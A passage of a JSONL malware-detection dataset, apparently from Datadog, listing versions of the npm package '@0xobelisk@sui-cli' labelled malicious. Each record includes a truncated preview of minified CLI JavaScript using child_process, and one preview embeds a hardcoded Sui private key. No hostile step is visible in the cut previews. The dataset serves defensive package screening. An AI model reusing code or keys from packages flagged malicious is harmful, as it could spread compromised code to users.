"source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.0.4", "filename": "2025-01-03-@0xobelisk_sui-cli-v1.0.4.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpznb0os9r/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport ro from\"yargs\";import{hideBin as so}from\"yargs/helpers\";import{execSync as it,spawn as pe}from\"child_process\";import k from\"chalk\";import Te from\"chalk\";function j(){console.log(Te.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as He}from\"@0xobelisk/sui-client\";import{Transaction as J}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Je,SuiClient as Ge}from\"@mysten/sui/client\";import{execSync as We}from\"child_process\";import f from\"chalk\";import M from\"chalk\";import{ZodError as Re}from\"zod\";import{fromZodError as je,ValidationError as Ne}from\"zod-validation-error\";var H=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},m=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpznb0os9r/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpznb0os9r/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.2.0-pre.1", "filename": "2025-05-04-@0xobelisk_sui-cli-v1.2.0-pre.1.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmptv3hi29n/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport $o from\"yargs\";import{hideBin as ko}from\"yargs/helpers\";import{execSync as ne,spawn as Qe}from\"child_process\";import D from\"chalk\";import Ze from\"chalk\";function H(){console.log(Ze.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{existsSync as le,mkdirSync as de,appendFileSync as et}from\"fs\";import{join as R}from\"path\";function tt(){try{let e=process.platform===\"win32\"?'tasklist /FI \"IMAGENAME eq sui.exe\" /FO CSV /NH':'pgrep -f \"sui start\"',t=ne(e).toString().trim();return process.platform===\"win32\"?t.toLowerCase().includes(\"sui.exe\"):t.length>0}catch{return!1}}async function ot(){let e=[{privateKey:\"suiprivkey1qq3ez3dje66l8pypgxynr7yymwps6uhn7vyczespj84974j3zya0wdpu76v\",address:\"0xe7f93a", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmptv3hi29n/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmptv3hi29n/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.2.0-pre.10", "filename": "2025-05-07-@0xobelisk_sui-cli-v1.2.0-pre.10.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpgcp_9st5/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Io from\"yargs\";import{hideBin as Co}from\"yargs/helpers\";import{execSync as Ct,spawn as _e}from\"child_process\";import $ from\"chalk\";import Ze from\"chalk\";function H(){console.log(Ze.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Transaction as Z}from\"@0xobelisk/sui-client\";import{execSync as ut}from\"child_process\";import f from\"chalk\";import*as se from\"fs/promises\";import{mkdirSync as nt,writeFileSync as rt}from\"fs\";import{dirname as st}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as at}from\"@mysten/sui/cryptography\";import V from\"chalk\";import{ZodError as Qe}from\"zod\";import{fromZodError as et,ValidationError as tt}from\"zod-validation-error\";var oe=class extends Error{name=\"NotInsideProject", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpgcp_9st5/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpgcp_9st5/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 9, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.2.0-pre.12", "filename": "2025-05-07-@0xobelisk_sui-cli-v1.2.0-pre.12.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpvsmk__sf/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport ko from\"yargs\";import{hideBin as Co}from\"yargs/helpers\";import{execSync as Ct,spawn as _e}from\"child_process\";import $ from\"chalk\";import Ze from\"chalk\";function H(){console.log(Ze.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Transaction as Q}from\"@0xobelisk/sui-client\";import{execSync as ut}from\"child_process\";import f from\"chalk\";import*as se from\"fs/promises\";import{mkdirSync as nt,writeFileSync as rt}from\"fs\";import{dirname as st}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as at}from\"@mysten/sui/cryptography\";import q from\"chalk\";import{ZodError as Qe}from\"zod\";import{fromZodError as et,ValidationError as tt}from\"zod-validation-error\";var ne=class extends Error{name=\"NotInsideProject", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpvsmk__sf/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpvsmk__sf/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 9, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.2.0-pre.11", "filename": "2025-05-07-@0xobelisk_sui-cli-v1.2.0-pre.11.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpepjzr8ca/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Io from\"yargs\";import{hideBin as Co}from\"yargs/helpers\";import{execSync as Ct,spawn as _e}from\"child_process\";import $ from\"chalk\";import Ze from\"chalk\";function H(){console.log(Ze.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Transaction as Z}from\"@0xobelisk/sui-client\";import{execSync as ut}from\"child_process\";import f from\"chalk\";import*as se from\"fs/promises\";import{mkdirSync as nt,writeFileSync as rt}from\"fs\";import{dirname as st}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as at}from\"@mysten/sui/cryptography\";import V from\"chalk\";import{ZodError as Qe}from\"zod\";import{fromZodError as et,ValidationError as tt}from\"zod-validation-error\";var oe=class extends Error{name=\"NotInsideProject", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpepjzr8ca/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpepjzr8ca/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 9, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.2.0-pre.16", "filename": "2025-05-09-@0xobelisk_sui-cli-v1.2.0-pre.16.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpq35zprnh/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Eo from\"yargs\";import{hideBin as Po}from\"yargs/helpers\";import{execSync as Et,spawn as Ce}from\"child_process\";import $ from\"chalk\";import et from\"chalk\";function H(){console.log(et.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Transaction as Q}from\"@0xobelisk/sui-client\";import{execSync as ft}from\"child_process\";import f from\"chalk\";import*as se from\"fs/promises\";import{mkdirSync as st,writeFileSync as at}from\"fs\";import{dirname as it}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as ct}from\"@mysten/sui/cryptography\";import K from\"chalk\";import{ZodError as tt}from\"zod\";import{fromZodError as ot,ValidationError as nt}from\"zod-validation-error\";var ne=class extends Error{name=\"NotInsideProject", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpq35zprnh/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpq35zprnh/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 9, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.1.7", "filename": "2025-04-02-@0xobelisk_sui-cli-v1.1.7.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpac0wgidu/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Oo from\"yargs\";import{hideBin as Mo}from\"yargs/helpers\";import{execSync as Tt,spawn as ge}from\"child_process\";import x from\"chalk\";import Le from\"chalk\";function V(){console.log(Le.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as tt,Transaction as G}from\"@0xobelisk/sui-client\";import{execSync as ot}from\"child_process\";import h from\"chalk\";import M from\"chalk\";import{ZodError as Be}from\"zod\";import{fromZodError as He,ValidationError as Je}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},p=class extends Error{name=\"DubheCliError\"},U=class extends Error{name=\"UpgradeError\"},q=class extends Error{name=\"FsI", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpac0wgidu/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpac0wgidu/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.1.1", "filename": "2025-02-11-@0xobelisk_sui-cli-v1.1.1.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp0zg6fdgo/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Po from\"yargs\";import{hideBin as To}from\"yargs/helpers\";import{execSync as Pt,spawn as ge}from\"child_process\";import E from\"chalk\";import Ye from\"chalk\";function V(){console.log(Ye.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as et,Transaction as G}from\"@0xobelisk/sui-client\";import{execSync as tt}from\"child_process\";import h from\"chalk\";import F from\"chalk\";import{ZodError as Le}from\"zod\";import{fromZodError as Be,ValidationError as He}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},p=class extends Error{name=\"DubheCliError\"},U=class extends Error{name=\"UpgradeError\"},q=class extends Error{name=\"FsI", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp0zg6fdgo/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp0zg6fdgo/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.1.12", "filename": "2025-04-19-@0xobelisk_sui-cli-v1.1.12.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpsi1fcs_z/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Ao from\"yargs\";import{hideBin as Oo}from\"yargs/helpers\";import{execSync as At,spawn as ge}from\"child_process\";import E from\"chalk\";import Be from\"chalk\";function q(){console.log(Be.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as ot,Transaction as W}from\"@0xobelisk/sui-client\";import{execSync as nt}from\"child_process\";import y from\"chalk\";import K from\"chalk\";import{ZodError as Je}from\"zod\";import{fromZodError as He,ValidationError as ze}from\"zod-validation-error\";var G=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},p=class extends Error{name=\"DubheCliError\"},Y=class extends Error{name=\"UpgradeError\"},L=class extends Error{name=\"FsI", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpsi1fcs_z/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpsi1fcs_z/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.1.8", "filename": "2025-04-07-@0xobelisk_sui-cli-v1.1.8.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmphor_yfu5/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Oo from\"yargs\";import{hideBin as Mo}from\"yargs/helpers\";import{execSync as Tt,spawn as ge}from\"child_process\";import x from\"chalk\";import Le from\"chalk\";function V(){console.log(Le.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as tt,Transaction as G}from\"@0xobelisk/sui-client\";import{execSync as ot}from\"child_process\";import h from\"chalk\";import M from\"chalk\";import{ZodError as Be}from\"zod\";import{fromZodError as He,ValidationError as Je}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},p=class extends Error{name=\"DubheCliError\"},U=class extends Error{name=\"UpgradeError\"},q=class extends Error{name=\"FsI", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmphor_yfu5/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmphor_yfu5/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.2.0-pre.17", "filename": "2025-05-16-@0xobelisk_sui-cli-v1.2.0-pre.17.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpvh_aq4qi/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Eo from\"yargs\";import{hideBin as Po}from\"yargs/helpers\";import{execSync as Et,spawn as Ce}from\"child_process\";import $ from\"chalk\";import et from\"chalk\";function H(){console.log(et.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Transaction as Q}from\"@0xobelisk/sui-client\";import{execSync as ft}from\"child_process\";import f from\"chalk\";import*as se from\"fs/promises\";import{mkdirSync as st,writeFileSync as at}from\"fs\";import{dirname as it}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as ct}from\"@mysten/sui/cryptography\";import K from\"chalk\";import{ZodError as tt}from\"zod\";import{fromZodError as ot,ValidationError as nt}from\"zod-validation-error\";var ne=class extends Error{name=\"NotInsideProject", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpvh_aq4qi/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpvh_aq4qi/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 9, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.2.0-pre.13", "filename": "2025-05-07-@0xobelisk_sui-cli-v1.2.0-pre.13.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpyc3t676b/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport ko from\"yargs\";import{hideBin as Co}from\"yargs/helpers\";import{execSync as Ct,spawn as _e}from\"child_process\";import $ from\"chalk\";import Ze from\"chalk\";function H(){console.log(Ze.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Transaction as Q}from\"@0xobelisk/sui-client\";import{execSync as ut}from\"child_process\";import f from\"chalk\";import*as se from\"fs/promises\";import{mkdirSync as nt,writeFileSync as rt}from\"fs\";import{dirname as st}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as at}from\"@mysten/sui/cryptography\";import q from\"chalk\";import{ZodError as Qe}from\"zod\";import{fromZodError as et,ValidationError as tt}from\"zod-validation-error\";var ne=class extends Error{name=\"NotInsideProject", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpyc3t676b/@0xobelisk-sui-cli/package/dist/dubhe.js", 